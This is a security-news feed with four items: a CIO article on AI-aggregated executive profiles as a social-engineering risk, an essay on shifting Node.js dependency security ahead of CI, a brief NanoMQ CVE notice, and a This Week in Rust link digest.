<p class="wp-block-paragraph">What came back was a synthesized profile. Board memberships and the dates they started. A pattern of public commentary that revealed which policy positions the executive held strongly and which ones he would likely bend on under pressure. A philanthropic interest that explained which causes he would respond to if someone framed an ask around them. None of this information was sensitive in isolation. But assembled into a single, queryable narrative, it was something an attacker could use immediately.</p>



<p class="wp-block-paragraph">What I was looking at was a publicly accessible query to a general-purpose AI tool. And that is the problem most executive protection programs have not yet confronted. The reconnaissance phase for a targeted social engineering attack now takes minutes, not days, and the inputs required are trivial.</p>



<p class="wp-block-paragraph">AI-aggregated executive data has become an attack surface. Most security programs have not yet adapted to it.</p>



<h2 class="wp-block-heading"><a></a>The reconnaissance phase has effectively collapsed</h2>



<p class="wp-block-paragraph">Traditional <a href="https://www.csoonline.com/article/567859/what-is-osint-top-open-source-intelligence-tools.html">OSINT</a> work against an executive target required skill and patience. A competent analyst could build a useful profile over several days by working through search engines, corporate filings, social platforms and archived media. That work was a meaningful barrier. It took time and it required judgment about which sources to trust. It also left trails if the attacker was careless.</p>



<p class="wp-block-paragraph">AI aggregation removes all three constraints.</p>



<p class="wp-block-paragraph">The speed advantage is obvious but it is not the most important change. The more significant shift is synthesis. A search engine returns documents. An AI tool returns a coherent narrative with inferred relationships and interpreted significance. When I query a major AI platform for a senior executive by name, I get a structured account of their career arc, their professional relationships, their areas of visible influence and frequently their personal interests, relationships and public-facing affiliations.</p>



<p class="wp-block-paragraph">The <a href="https://westoahu.hawaii.edu/cyber/global-weekly-exec-summary/alphv-hackers-reveal-details-of-mgm-cyber-attack/">MGM Resorts incident </a>reported in 2023 illustrated the principle at scale. Attackers reportedly identified an MGM executive on LinkedIn, used that public profile information to impersonate them in a call to the IT help desk and obtained access credentials within minutes. The OSINT required was minimal and the manipulation was straightforward. What AI tools have done since is make that kind of reconnaissance faster, more complete and available to actors who lack the manual tradecraft to run it themselves.</p>



<p class="wp-block-paragraph">As the<a href="https://www.verizon.com/business/resources/reports/dbir/"> Verizon Data Breach Investigations Report </a>consistently documents, the human element is present in the majority of confirmed breaches, and social engineering remains one of the most reliable initial access vectors.</p>



<p class="wp-block-paragraph">The accessible nature of AI tools is also expanding the threat population. Attacks that previously required a skilled analyst to design now require only a motivated actor with internet access. That changes the volume and targeting calculus. Executives who were previously too obscure to justify a sophisticated manual attack are now viable targets for anyone with a grievance and a query box.</p>



<h2 class="wp-block-heading"><a></a>What should CIOs and CISOs do about it?</h2>



<p class="wp-block-paragraph">The instinct in many organizations is to route anything involving an executive’s public profile to the comms or PR function. That instinct made sense when the risk was reputational. It no longer covers the exposure.</p>



<p class="wp-block-paragraph">What follows is how I advise clients to structure this work.</p>



<h3 class="wp-block-heading">Monitor regularly</h3>



<p class="wp-block-paragraph">The starting point is establishing visibility into what AI tools are actually returning about your executive population. Not a one-time audit conducted during a board meeting and forgotten. The profiles shift continuously as new content is indexed, old content is reweighted and the models are updated.</p>



<p class="wp-block-paragraph">Assign ownership to run structured queries across the major platforms, including ChatGPT, Gemini, Perplexity and the Microsoft Copilot stack, on a regular cadence. Document what you find and track changes. Treat the output the same way you would treat a vulnerability scan as something to be prioritized and acted upon.</p>



<h3 class="wp-block-heading">Reduce the available attack surface</h3>



<p class="wp-block-paragraph">Work with each executive to identify content that expands their AI-indexed profile without serving any legitimate business purpose. This includes legacy conference bios that contain personal details, social posts that reveal schedule patterns or family context and board announcements that, in aggregate, map an executive’s full professional network. For some of this content, removal is possible and worth pursuing with a targeted effort.</p>



<p class="wp-block-paragraph">The more important conversation is around future behavior. Executives who habitually overshare on LinkedIn or in conference panels need to understand, concretely, what that sharing enables.</p>



<p class="wp-block-paragraph">Family member exposure is a consistent blind spot. An attacker who cannot pressure an executive directly may look for leverage through a spouse, a sibling or a child. Executives rarely consider their family members’ public digital footprint as part of their own security posture. It is.</p>



<h3 class="wp-block-heading">Shape the narrative where reduction isn’t possible</h3>



<p class="wp-block-paragraph">Public company executives, board members with mandatory disclosure obligations and individuals whose public profiles are central to their organizations’ credibility cannot simply go dark.</p>



<p class="wp-block-paragraph">The objective shifts from reduction to shaping in these cases. The goal is to ensure that what AI tools synthesize from the indexed content is professionally bound and does not inadvertently surface high-value pretext material. This is a joint exercise between security and communications, with security defining risk boundaries and communications executing the strategy.</p>



<h3 class="wp-block-heading">Train executives on what their own profile looks like</h3>



<p class="wp-block-paragraph">The most effective single intervention I have seen in executive briefings is also the simplest. Open a browser and query an AI platform on the executive in the room. Let them see the output. The reaction is consistent. They are surprised by the synthesis, uncomfortable with specific details that surface and immediately more engaged with the rest of the conversation than they were before.</p>



<p class="wp-block-paragraph">Abstract threat briefings about social engineering risks rarely land with senior leaders who feel they understand their own security position. Demonstrated evidence of their AI-mediated profile lands every time. As covered in the context of <a href="https://www.cio.com/article/4076479/from-awareness-to-ai-driven-resilience-protecting-identities-data-and-agents.html">executive-targeted attacks</a>, awareness is a prerequisite for the behavior change that makes protection programs effective.</p>



<h3 class="wp-block-heading">Integrate this into the executive protection program</h3>



<p class="wp-block-paragraph">This work belongs alongside endpoint security, credential management and physical protection in a unified executive protection program. When it remains a communications function, it lacks the reporting structure, budget authority and operational discipline that security work requires.</p>



<p class="wp-block-paragraph">Assign an owner with a security mandate. Include AI exposure in the risk register. Report on it at the same cadence as other executive protection metrics. The organizations that have done this well have not created a separate program for it. They have extended an existing one.</p>



<h2 class="wp-block-heading"><a></a>What effective executive protection programs now include</h2>



<p class="wp-block-paragraph">The organizations that have integrated AI exposure into their executive protection work share a few characteristics that distinguish them from those still treating it as a communications edge case.</p>



<ul class="wp-block-list">
<li>They treat the executive’s public information footprint as a managed attack surface with a named accountable party. Someone is responsible for it, the same way someone is responsible for endpoint patching or identity governance.</li>



<li>They include AI-assisted reconnaissance as a starting condition in red team exercises. Before any social engineering simulation begins, the red team runs the same queries an attacker would run. The pretext they design is based on what those queries return.</li>



<li>Their executive protection briefings include an AI profile review as a standing agenda point. Physical security considerations, credential exposure and public information risk are reviewed together because they are connected. An attacker who knows an executive’s schedule from their public-facing content can time a credential reset attempt or a vishing call with equal precision.</li>
</ul>



<p class="wp-block-paragraph">The executive I reviewed several years ago had no idea what his AI-indexed profile contained or what it enabled. Most of the executives I work with today are in the same position. By the time you finish reading this, it is likely those queries have already been run on someone in your organization. The question is whether your program is positioned to detect it and respond in time.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Node.js security starts before CI]]></title>
<description><![CDATA[In many teams, dependency security still happens after the most important trust decision has already been made. A package is added, the lockfile changes, the feature moves forward, and only later does the pipeline ask whether the application should have trusted that code in the first place.



Th...]]></description>
<link>https://tsecurity.de/de/3672876/ai-nachrichten/nodejs-security-starts-before-ci/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672876/ai-nachrichten/nodejs-security-starts-before-ci/</guid>
<pubDate>Thu, 16 Jul 2026 11:04:19 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">In many teams, dependency security still happens after the most important trust decision has already been made. A package is added, the lockfile changes, the feature moves forward, and only later does the pipeline ask whether the application should have trusted that code in the first place.</p>



<p class="wp-block-paragraph">That workflow made sense when dependency security was mostly viewed as a compliance check. Run a scanner. Produce a report. Fail the build if the risk crosses a threshold. Let someone decide what to do next.</p>



<p class="wp-block-paragraph">But the modern Node.js ecosystem has changed. The risk no longer begins in CI. It begins earlier, at the moment a developer decides to trust a package.</p>



<p class="wp-block-paragraph">That is why the next phase of <a href="https://www.infoworld.com/article/4158762/is-your-node-js-project-really-secure.html" data-type="link" data-id="https://www.infoworld.com/article/4158762/is-your-node-js-project-really-secure.html">Node.js security</a> cannot be limited to better pipeline enforcement. It has to move closer to the developer workflow, before dependencies become part of the application, before a pull request becomes someone else’s problem, and before a build log becomes the first moment anyone realizes that something important has changed.</p>



<h2 class="wp-block-heading"><a></a>Every install is a trust decision</h2>



<p class="wp-block-paragraph">The npm ecosystem is built on trust at an enormous scale. Every install is a trust decision. Every transitive dependency extends that decision to maintainers, packages, scripts, release pipelines, and infrastructure the application team may never inspect directly. This model gave JavaScript its incredible velocity. It also created one of its deepest security weaknesses.</p>



<p class="wp-block-paragraph">Recent npm supply chain incidents show why this matters. In March 2026, <a href="https://www.csoonline.com/article/4152696/attackers-trojanize-axios-http-library-in-highest-impact-npm-supply-chain-attack.html" data-type="link" data-id="https://www.csoonline.com/article/4152696/attackers-trojanize-axios-http-library-in-highest-impact-npm-supply-chain-attack.html">malicious Axios versions were published to npm</a> through a compromised maintainer account. Microsoft later described how those packages attempted to retrieve a second-stage payload during installation. In May 2026, <a href="https://tanstack.com/blog/npm-supply-chain-compromise-postmortem" data-type="link" data-id="https://tanstack.com/blog/npm-supply-chain-compromise-postmortem">TanStack published a postmortem</a> explaining that 84 malicious versions across 42 npm packages were published through a legitimate release pipeline after an attacker abused GitHub Actions behavior and runner trust boundaries. Security researchers also <a href="https://www.csoonline.com/article/4179866/infected-red-hat-npm-packages-expose-developer-credentials.html" data-type="link" data-id="https://www.csoonline.com/article/4179866/infected-red-hat-npm-packages-expose-developer-credentials.html">reported broader Mini Shai-Hulud activity</a> across the npm ecosystem in May, including hundreds of malicious package versions published in a short period.</p>



<p class="wp-block-paragraph">Not every one of these incidents is a traditional CVE. Some are malicious package compromises. Some involve CI/CD credential theft. Some involve maintainer or pipeline compromise. But they all point to the same larger issue: dependency risk is now part of everyday software engineering, not something that can be pushed entirely to a downstream security process.</p>



<h2 class="wp-block-heading"><a></a>The problem is not the scanner. It is the handoff.</h2>



<p class="wp-block-paragraph">Ubiquitous dependency risk changes what developers need from security tooling.</p>



<p class="wp-block-paragraph">The problem is not that teams lack scanners. Many organizations already run security checks in CI. The problem is that the output of those checks often arrives too late and speaks the wrong language for the person expected to act on it.</p>



<p class="wp-block-paragraph">A pull request fails. A long vulnerability report appears. The report may be technically accurate. It may contain the right advisory IDs, affected versions, dependency paths, severity labels, and references. But the developer still has to comb through the output and reconstruct the actual engineering decision from the evidence provided.</p>



<p class="wp-block-paragraph">That reconstruction is rarely simple. The developer has to understand which package introduced the issue, whether the vulnerable dependency is direct or transitive, whether the fix is actually within the application team’s control, and whether the recommended version is safe to adopt. They also have to determine whether the dependency is used in production or only during development, whether the update might break the application, and whether the fix belongs in the current pull request or requires separate engineering work.</p>



<p class="wp-block-paragraph">That uncertainty is where security work often slows. The scanner has detected risk, but the developer has not been given a clear path from detection to decision.</p>



<h2 class="wp-block-heading"><a></a>Security needs to move closer to engineering judgment</h2>



<p class="wp-block-paragraph">This is not a criticism of scanning. Scanning is necessary. CI enforcement is necessary. Centralized security platforms are necessary. But they are not sufficient, because they often operate after the trust decision has already been made.</p>



<p class="wp-block-paragraph">The real architectural question is this: where should dependency security live in the software development life cycle?</p>



<p class="wp-block-paragraph">If it lives only in CI, it becomes an interruption. If it lives only in dashboards, it becomes someone else’s queue. If it lives only in periodic audits, it becomes a backlog. But if it lives at the moment a dependency is introduced, upgraded, or reviewed, it becomes part of engineering judgment.</p>



<p class="wp-block-paragraph">That shift matters because modern JavaScript development is becoming faster than human review can comfortably handle. Developers no longer add dependencies only by reading documentation and choosing libraries manually. AI coding assistants can suggest packages, generate install commands, modify package files, and rewrite code around third-party APIs. Agentic development workflows can make dependency changes as part of broader automated refactors.</p>



<h2 class="wp-block-heading"><a></a>AI makes the trust boundary harder to see</h2>



<p class="wp-block-paragraph">That acceleration is useful. It also changes the risk model.</p>



<p class="wp-block-paragraph">When a human developer adds one package, the team can review the decision. When a coding agent modifies several dependencies as part of a larger task, the trust boundary becomes harder to see. The package file changes, the lockfile changes, the application still runs, and the pull request may look like a normal feature update. But the real security question may be hidden inside the dependency graph.</p>



<p class="wp-block-paragraph">This is where Node.js teams need a different mental model.</p>



<p class="wp-block-paragraph">Dependency adoption should not be treated as a small implementation detail. It should be treated as an architectural decision with security consequences. A new package is not just code reuse. It is a new trust relationship.</p>



<p class="wp-block-paragraph">That does not mean developers should stop using packages. The npm ecosystem exists because reuse works. Most teams cannot and should not build everything themselves. But convenience should not erase visibility. If a dependency becomes part of the application, the team should understand what was added, what changed in the lockfile, what risk comes with it, and what action is available if something is wrong.</p>



<h2 class="wp-block-heading"><a></a>Developers need confidence, not just reports</h2>



<p class="wp-block-paragraph">The same applies to remediation. Developers do not want a wall of vulnerability text. They want confidence. They want to know what action reduces risk, what version should be targeted, whether the change is safe, and whether the fix is actually under their control. A vulnerability report that leaves the developer uncertain may satisfy a process requirement, but it does not necessarily improve the speed or quality of remediation.</p>



<p class="wp-block-paragraph">That is the gap many teams feel today. Security tools are often very good at saying, “There is a problem.” They are less consistent at helping the developer answer, “What should I do next?”</p>



<p class="wp-block-paragraph">This is the broader problem I have been exploring through <a href="https://github.com/OWASP/cve-lite-cli">CVE Lite CLI</a>, now an OWASP project. The point is not that one command-line tool solves Node.js security. It does not. The larger idea is that dependency security has to move closer to the developer’s moment of decision. A useful developer-side security workflow should not merely report that risk exists. It should help the engineer understand whether the issue is in their control, what change is available, and whether the fix actually reduces risk.</p>



<h2 class="wp-block-heading"><a></a>The future is decision support, not just detection</h2>



<p class="wp-block-paragraph">That distinction is important. The future of Node.js security is not just more detection. It is better decision support.</p>



<p class="wp-block-paragraph">Security teams still need policy. Enterprises still need dashboards. CI still needs gates. But developers need something more immediate: a way to reason about dependency risk while the code is still fresh in their mind. That is where the ecosystem has to evolve.</p>



<p class="wp-block-paragraph">We already accept that testing belongs close to development. We accept that linting belongs close to development. We accept that formatting, type checking, and build validation belong close to development. Dependency security should follow the same path. It should not be treated as a mysterious report that appears at the end of the process. It should become part of the normal rhythm of engineering work.</p>



<p class="wp-block-paragraph">Before adding a package, developers should understand what trust relationship is being introduced. Before accepting an AI-generated dependency change, they should inspect what entered the graph. Before merging a pull request, teams should understand whether a vulnerability is direct, transitive, fixable, or blocked by another package. And before treating a CI failure as noise, organizations should ask whether the workflow is giving developers enough information to act confidently.</p>



<h2 class="wp-block-heading">Node.js security will be won, or lost, before CI runs</h2>



<p class="wp-block-paragraph">The Node.js ecosystem will not become safer by slowing down all development. That is unrealistic. It will become safer when security work is placed where developers can actually use it.</p>



<p class="wp-block-paragraph">The next generation of Node.js security will be won or lost before CI runs.</p>



<p class="wp-block-paragraph">It will be won when dependency decisions are still small enough to understand, fresh enough to review, and close enough to the developer for action to feel natural.</p>



<p class="wp-block-paragraph">That is the shift teams need to make now. Not from insecure to secure in one step, but from late detection to earlier judgment. From vulnerability reports to engineering decisions. From trusting packages by habit to understanding trust as part of software design.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-36590 | EMQ NanoMQ 0.24.9 QoS Database broker_tcp.c nni_qos_db_set denial of service (EUVD-2026-44847)]]></title>
<description><![CDATA[A vulnerability identified as critical has been detected in EMQ NanoMQ 0.24.9. This impacts the function nni_qos_db_set of the file broker_tcp.c of the component QoS Database Handler. This manipulation causes denial of service.

This vulnerability is registered as CVE-2026-36590. Remote exploitat...]]></description>
<link>https://tsecurity.de/de/3672486/sicherheitsluecken/cve-2026-36590-emq-nanomq-0249-qos-database-brokertcpc-nniqosdbset-denial-of-service-euvd-2026-44847/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672486/sicherheitsluecken/cve-2026-36590-emq-nanomq-0249-qos-database-brokertcpc-nniqosdbset-denial-of-service-euvd-2026-44847/</guid>
<pubDate>Thu, 16 Jul 2026 08:08:48 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability identified as <a href="https://vuldb.com/kb/risk">critical</a> has been detected in <a href="https://vuldb.com/product/emq:nanomq">EMQ NanoMQ 0.24.9</a>. This impacts the function <code>nni_qos_db_set</code> of the file <em>broker_tcp.c</em> of the component <em>QoS Database Handler</em>. This manipulation causes denial of service.

This vulnerability is registered as <a href="https://vuldb.com/cve/CVE-2026-36590">CVE-2026-36590</a>. Remote exploitation of the attack is possible. No exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[This Week In Rust: This Week in Rust 660]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3672376/tools/this-week-in-rust-this-week-in-rust-660/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672376/tools/this-week-in-rust-this-week-in-rust-660/</guid>
<pubDate>Thu, 16 Jul 2026 07:09:13 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#official">Official</a></h5>
<ul>
<li><a href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/">Announcing Rust 1.97.0</a></li>
<li><a href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/">crates.io: development update</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://bun.com/blog/bun-in-rust">Rewriting Bun in Rust</a></li>
<li><a href="https://bullmq.io/news/260712/rust-release/">Announcing BullMQ for Rust</a></li>
<li><a href="https://github.com/zs-dima/prost-protovalidate/releases/tag/v0.6.0">prost-protovalidate 0.6 — buf.validate (protovalidate) for prost and buffa: compile-time codegen + runtime CEL, 2872/2872 conformance</a></li>
<li><a href="https://github.com/StaszeKrk/plaza/releases/tag/v1.0.0">plaza 1.0: a ratatui package-manager TUI that searches pacman, the AUR, apt, dnf, and Flatpak at once</a></li>
<li><a href="https://github.com/danube-messaging/danube/releases/tag/v0.15.1">Danube v0.15.1: native Apache Iceberg integration for streaming-to-lakehouse export</a></li>
<li><a href="https://www.willsearch.com.br/sentinel/">Guardian Sentinel. The Terminal User Interface for Guardian Decentralized Database - P2P</a></li>
<li><a href="https://github.com/kunobi-ninja/kobe/releases/tag/v0.33.0">kobe 0.33.0: a Rust operator for instant CI Kubernetes clusters</a></li>
<li><a href="https://navigatorbuilds.github.io/elara-mesh/blog/black-box-for-ai-agents.html">Elara Mesh: what the black box for AI agents actually does</a></li>
<li>
<p><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.10.0">kache 0.10.0: instant download dedup, no more polling</a></p>
</li>
<li>
<p><a href="https://richer-richard.github.io/cochlea/">cochlea 0.1.0: a headless, deterministic audio engine for AI agents</a></p>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://opensourcesecurity.io/2026/2026-07-rfmf-lori-niko/">Open Source Security Podcast: Rust Foundation Maintainers Fund with Lori and Niko</a></li>
<li><a href="https://pulsebeam.dev/blog/moving-to-thread-per-core">Moving a Rust WebRTC SFU to thread-per-core</a></li>
<li><a href="https://abundance.build/blog/2026-07-11-faster-rust-tests-in-ci-with-parallel-steps/">Faster Rust tests in CI with parallel steps</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=fugcSHD-9Jw">The Only Diagram You Need to Understand Rust Ownership</a></li>
<li><a href="https://encore.dev/blog/typescript-parser-wasm">We compiled our TypeScript parser to WASM</a></li>
<li><a href="https://kerkour.com/rust-hype">Understanding the Rust hype for the busy developer</a></li>
<li><a href="https://dev.to/akavlabs_69/i-red-teamed-my-own-llm-security-gateway-in-four-passes-heres-every-gap-i-found-5cl9">I red-teamed my own LLM security gateway (Rust) in four passes — every detection gap and how I closed it</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li>[video] <a href="https://www.youtube.com/watch?v=DJhhy6YQe8k">Backend Concepts in Rust: HTTP Servers</a></li>
<li><a href="https://dystroy.org/blog/picamobile/">Fearless Embedded Rust: A FPV Lego car</a></li>
<li><a href="https://www.aravpanwar.com/writing/building-decayfmt-in-rust/">What I learned building a self-corrupting file format in Rust</a></li>
<li><a href="https://corentin-core.github.io/posts/ruxe-async-runtime-agnostic/">Come Async You Are</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#miscellaneous">Miscellaneous</a></h5>
<ul>
<li><a href="https://blog.theembeddedrustacean.com/oxidize-xiao">Oxidize XIAO — An Embedded Rust Community Program</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://crates.io/crates/dashu">dashu</a>, a pure Rust set of libraries of arbitrary precision numbers.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1628">JacobZ</a> for the self-suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>



<ul>
<li><a href="https://github.com/supernovae-st/nika/issues/424">Nika - showcase: CSV → chart PNG → markdown report (nika:chart has no example yet)</a></li>
</ul>


<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>



<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>550 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-07-07..2026-07-14">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/158931">inline some <code>Symbol</code> functions</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157104">predicate/clause cleanups</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158942">remove some AST <code>tokens</code> fields</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159019">resolver: wrap arenas in <code>WorkerLocal</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158794">rework read deduplication with pooled read recorders</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159012">shrink <code>mir::Statement</code> to 40 bytes</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157491">shrink no-op drop elaboration</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158865">specialize common <code>(1, 1)</code> case for arg unification</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158842">use SmallVec for return places in MIR</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/158866">add explicit <code>Iterator::count</code> impl for <code>ChunkBy</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157153">allow <code>Allocator</code>s to be used as <code>#[global_allocator]</code>s</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158876">fix multiple logic bugs in <code>Arc::make_mut</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158940">implement feature <code>char_to_u32</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159092">make volatile operations const</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158541">move <code>std::io::Write</code> to <code>core::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159099">stabilize <code>String::from_utf8_lossy_owned</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/151379">stabilize <code>VecDeque::retain_back</code> from <code>truncate_front</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/cargo/pull/17199"><code>install</code>: Move --debug to Compilation options</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17204"><code>source</code>: incorrect duplicate package warning</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17202">fix manifest schema generation: <code>TomlDebugInfo</code> enum-variants doesn't renamed</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17198">dont apply host-config gating to stable behavior</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17191">reduce library search path length in new build dir layout</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17168">reduce rustc <code>-L</code> args used in the new <code>build-dir</code> layout</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17149">rename <code>-Zno-embed-metadata</code> to <code>-Zembed-metadata=no</code></a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17203">test: fix race in <code>cargo_compile_with_invalid_code_in_deps</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/15000">add new lints: <code>rest_pattern_accessible_field</code> and <code>unnecessary_rest_pattern</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16965">new lint: <code>definition_in_module_root</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17343"><code>arbitrary_source_item_ordering</code>: add configurable trait impl item ordering modes</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17387"><code>tests_outside_test_module</code>: put code in backticks in the lint message</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17215">count length of the first paragraph by its text</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16980">fix <code>suboptimal_flops</code> false negative with ambiguous float literals</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17416">partly disable <code>unneeded_wildcard_pattern</code> when <code>rest_pattern_accessible_field</code> is enabled</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17404">respect the configured MSRV in <code>implicit_saturating_sub</code>'s <code>if x != 0 { x -= 1 }</code> rewrite</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16513">trigger <code>single_element_loop</code> if the block contains only a final expression</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16808">optimize <code>nonstandard_macro_braces</code> by 99.9683% (1.1b → 351K)</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17381">perf: bail out of the <code>disallowed_methods</code> rule if the disallowed list is empty</a></li>
</ul>
